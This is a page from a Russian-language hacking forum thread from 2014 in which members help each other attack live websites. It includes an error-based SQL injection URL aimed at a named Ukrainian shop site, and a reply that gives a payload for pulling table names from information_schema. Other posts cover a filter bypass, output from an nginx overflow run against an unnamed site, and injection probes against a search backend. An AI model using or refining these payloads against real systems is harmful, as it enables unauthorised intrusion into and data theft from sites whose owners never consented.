HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #23191  
Старый 15.01.2014, 16:55
Unknowhacker
Guest
Сообщений: n/a
Провел на форуме:
94006

Репутация: 24
По умолчанию

Народ, помогите вывести таблицы..

Код:
Code:
http://bigtoys.com.ua/index.php?route=product/category&path=106+or+1+group+by+concat(version(),floor(rand(0)*%202))having+min(0)+or+1
 
Ответить с цитированием

  #23192  
Старый 15.01.2014, 18:17
Unknown
Guest
Сообщений: n/a
Провел на форуме:
15642

Репутация: 6
По умолчанию

Цитата:
Сообщение от Unknowhacker  
Unknowhacker said:
Народ, помогите вывести таблицы..
Код:
Code:
http://bigtoys.com.ua/index.php?route=product/category&path=106+or+1+group+by+concat(version(),floor(rand(0)*%202))having+min(0)+or+1
SELECT 1 from information_schema.tables group by concat((SELECT table_name from information_schema.tables limit 0,1),floor(rand(0)*2)) having min(0)
 
Ответить с цитированием

  #23193  
Старый 15.01.2014, 18:54
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

В Opencart скуля?
 
Ответить с цитированием

  #23194  
Старый 16.01.2014, 00:44
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию

Цитата:
Сообщение от Unknowhacker  
Unknowhacker said:
Народ, помогите вывести таблицы..
Код:
Code:
http://bigtoys.com.ua/index.php?route=product/category&path=106+or+1+group+by+concat(version(),floor(rand(0)*%202))having+min(0)+or+1
Там фильтруется нижнее подчеркивание.
 
Ответить с цитированием

  #23195  
Старый 16.01.2014, 21:02
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от попугай  
попугай said:
В Opencart скуля?
Старая. С бородой уже.
 
Ответить с цитированием

  #23196  
Старый 18.01.2014, 16:12
zombak18
Guest
Сообщений: n/a
Провел на форуме:
12404

Репутация: 0
По умолчанию

В общем заюзал на одном сайте Nginx stack-based buffer overflow

Он выдал вот такую инфу



Как это можно использовать.. Для чего эти байты?
 
Ответить с цитированием

  #23197  
Старый 19.01.2014, 00:03
sergei1105
Guest
Сообщений: n/a
Провел на форуме:
2864

Репутация: 0
По умолчанию

HTTP parameter pollution что за уязвимость?
 
Ответить с цитированием

  #23198  
Старый 19.01.2014, 01:18
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию

Цитата:
Сообщение от sergei1105  
sergei1105 said:
HTTP parameter pollution что за уязвимость?
Зайди в гугл, ввел HTTP parameter pollution.

Открой первую вкладку http://raz0r.name/articles/http-parameter-pollution и прочитай.
 
Ответить с цитированием

  #23199  
Старый 19.01.2014, 16:31
imprenko
Guest
Сообщений: n/a
Провел на форуме:
2871

Репутация: 0
По умолчанию

приветствую

понять не могу что за база

на "

SearchEngineException: parsefql: Query Error: line 1:100: unexpected token:

,linguistics=off),boost=1000), not(*.swf), not(*filtertable*), not(*multimedia_layer_library*), not(*.flash.html), not(*.isng.*), not(*tabcontent*), not(*Search_Results*), not(*medialibrary*), not(*.ngrb.*), not(*media_library*), not(*.pid.*), not(*.redirect.*),filter(and(language:

")ORDER BY 1

SearchEngineException: parsefql: Query Error: line 1:100: unexpected token: ORDER

")and(select null)

SearchEngineException: parsefql: Query Error: line 1:111: unexpected token: null

хелп..
 
Ответить с цитированием

  #23200  
Старый 19.01.2014, 23:35
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию

Посоветуйте пожалуйста нормальный гуи для sqlmap

Особенно важна поддержка иньекций в куках
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ